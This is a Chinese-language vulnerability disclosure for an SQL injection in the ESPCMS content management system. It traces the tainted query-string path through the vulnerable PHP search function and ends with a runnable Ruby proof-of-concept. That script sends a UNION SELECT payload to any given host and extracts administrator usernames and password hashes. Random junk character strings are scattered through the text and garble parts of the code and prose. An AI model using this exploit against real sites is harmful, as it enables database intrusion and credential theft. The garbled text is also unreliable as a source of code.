0×0 漏洞概述0×1 漏洞细节
/ |- k1 a5 b( a! b7 j" M/ m0×2 PoC
( [+ K- c1 P" B3 R2 U- a9 B+ p* G% ~3 d1 R* `/ |; \+ A
3 ~, d/ e) r# j( G- l
# w9 n$ B! ^# Y" u0×0 漏洞概述+ C# u. U. i9 I# F' x% B; m9 G& u
5 Q k4 f/ D( E) h2 i; n$ {
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。, @7 F+ G4 E1 [; A- j- I
其在处理传入的参数时考虑不严谨导致SQL注入发生, {2 f% [/ x6 h1 z: e0 p
0 W% I: y" f, K8 L* n9 A8 L$ {# i
0×1 漏洞细节0 b: p; l6 l$ x& R0 K" D$ n5 i
) |1 w; F. l6 b4 n; Y/ |8 A变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。( i, Z& x# y: }7 |) f
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。4 |8 U% v% |# o+ l$ f" o0 h" P( L
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
* V# O2 Q# i/ e, |# M( q& o/ s
& b: g3 {% j7 ~* l; t) ~在/interface/3gwap_search.php文件的in_result函数中:* m z" O# x2 L/ F9 a/ ^
: P D) Q; o& T- J; Z3 H+ k7 L
8 j c: n% h3 d1 ^8 o- S
2 Y1 y" x8 {3 }. h; K function in_result() {+ q" O% G) w* }7 `& r
... ... ... ... ... ... ... ... ...! W/ `% R5 g/ }) L
$urlcode = $_SERVER[ 'QUERY_STRING '];9 K% H$ y- p, |
parse_str(html_entity_decode($urlcode), $output);
! |, l g7 |) \. ]: a* W; T$ h5 v7 m/ q" h( P
... ... ... ... ... ... ... ... ...& Z' ?/ b: P3 |7 d- x
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
9 r$ Q8 b6 I& X2 {: c
! K0 I1 U: p4 o. U) I: I9 j, r $db_table = db_prefix . 'model_att';# W F; m# c1 s3 n2 @
5 e+ S! |- e Z0 ^
foreach ($output['attr' ] as $key => $value) {
0 D+ M7 @$ K- b/ @% M( y if ($value) {2 \9 D B) W9 J/ G1 B# D
' ]& p7 T( B9 r+ U! P' ~; f' K $key = addslashes($key);6 |) f: t/ d% r8 z
$key = $this-> fun->inputcodetrim($key);
- z4 F l# A6 u! {7 K $db_att_where = " WHERE isclass=1 AND attrname='$key'";
. v$ I4 J0 P- U/ R $countnum = $this->db_numrows($db_table, $db_att_where);
) d7 `) E8 r) i. Z3 f$ f2 { if ($countnum > 0) {
4 k" u; |( b) G( ^, L) H4 Y $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;8 x) L2 j/ c6 g/ v
}) A3 B; x( k. k' w! Y0 @
}
1 v; N4 ]. ]+ S- Q# Q4 H- l }. K4 x4 a, s/ R z0 Y& G5 m
}3 _3 ~ z! A/ p. y& p
if (!empty ($keyword) && empty($keyname)) {3 ^6 I' b6 g+ g' @9 P& N2 V
$keyname = 'title';
2 B6 C" U. w8 }0 }& ~3 b# K $db_where.= " AND a.title like '%$keyword%'" ;
8 C' q L4 S1 V% { } elseif (!empty ($keyword) && !empty($keyname)) {
+ [4 I* r& r; h6 I( k $db_where.= " AND $keyname like '% $keyword%'";0 @0 \8 {* j. N0 O7 R0 f" V& k2 a
}
- j3 j8 w; N% k" H! G2 S: m1 u, { $pagemax = 15;9 Q3 O4 D% p) l# z) c& r
/ I4 Y2 L1 Z9 O6 t* l* O0 n8 @ $pagesylte = 1;
- x: v6 b/ B2 l( ?. B+ w) B7 Z* ~* }. I+ X+ {6 m
if ($countnum > 0) {
; b0 M$ S9 |. I- H
7 Z+ |6 M; ]. ]) \3 J( E $numpage = ceil($countnum / $pagemax);
& d+ H0 ]0 y( R } else {
/ ~& g: N- W1 G $numpage = 1;
0 H/ z" j) f/ W/ x. S }- g7 P( \/ G% k f. K4 m P
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
' x: P6 x/ r! D $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);* z0 m5 u+ J+ f. B( n* M) h
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
$ X0 W8 P% Y A( a) K0 E ... ... ... ... ... ... ... ... ...3 N+ U7 c9 e& n$ Z6 I5 M
}7 u- p* ~" Z+ @" L. D
# _- D' E; Y5 C; |6 ]5 `2 P
/ ?4 {4 [' u# p% @, U) p0×2 PoC
3 z3 m8 U6 ^2 R3 S7 L" q8 {6 e! Z2 a& a6 o. U# s& f; K% u# J
$ e$ ~6 N; B( E# M7 Z7 J$ e, A4 K9 Y
require "net/http"
4 U5 d, ]; S# [0 V: W. V3 f! }
# g" z' g0 I% h; cdef request(method, url)' ^% ?& l6 ?! C' _$ @' R: |
if method.eql?("get")9 `) ?( V3 x+ N
uri = URI.parse(url)
. O ?+ V) Q% _9 X q* d http = Net::HTTP.new(uri.host, uri.port)2 F' Z/ m. w# W
response = http.request(Net::HTTP::Get.new(uri.request_uri))6 p! z# Y# u. u0 @) C; B' E
return response
, ~, T: d& P& V% }& b end L$ l% A ? L' o; r1 A
end/ Q/ f D* s, `! v* ~. a
* _# c w$ y# F4 g3 \
doc =<<HERE) w8 O9 y/ r2 |' J9 q/ x
-------------------------------------------------------
], t0 M& V( r6 SEspcms Injection Exploit% L% A) C' H2 z& M
Author:ztz
1 I# \3 P' {8 \" E9 G4 S, WBlog:http://ztz.fuzzexp.org/
# X J* R/ c1 r" J I* }: D-------------------------------------------------------0 t1 T- p1 [4 K' O) m$ ]
: J4 l7 S- t" PHERE
4 ?( O/ K( x. j+ J5 G- N- `5 N/ _% W- D! c8 s- W
usage =<<HERE
/ x/ I+ q8 q% o# Q% o3 B1 XUsage: ruby #{$0} host port path/ w" _+ ]# q$ f, `4 D5 W- f, p
example: ruby #{$0} www.target.com 80 /; S1 } r, M+ {2 q" P
HERE
/ C; n% A( p7 _- D4 F% v n# r# t2 ~6 x
puts doc) E: g- }) y P7 c
if ARGV.length < 3
& j/ j6 A; u7 l5 Q5 W4 Z puts usage
. D, R5 h: B; H9 relse
( k8 k" a/ ~# j$ u7 q+ k9 m1 o+ h $host = ARGV[0]
' [6 ]0 U; D* u; h. O: c $port = ARGV[1]7 `# B5 o8 t' F$ E3 r7 J
$path = ARGV[2]9 u0 I2 b+ Z" m7 f. U& W& K3 a
* Q& r4 |& b% p# ?6 L2 Q puts "send request..."
: H: G {" H: h5 h; ?; k, j- c6 Z% E- | url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&1 Y5 t# r1 w3 V; Y2 U
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13, D* I4 V% ^6 Y) \$ `2 @4 u, M
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27- W3 C2 o/ Z6 [# Q
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
v( W, g0 f3 q! g8 M response = request("get", url)
; C/ w7 F0 j2 n$ q: c' L$ i2 k result = response.body.scan(/\w+&\w{32}/)
K8 X) L! s2 H7 R0 }! p puts result5 t8 E+ \5 j. i6 e. U L
end
3 R3 {3 P( Z9 j/ W1 r) i2 }' q5 D. K1 e6 `) R0 R8 y
|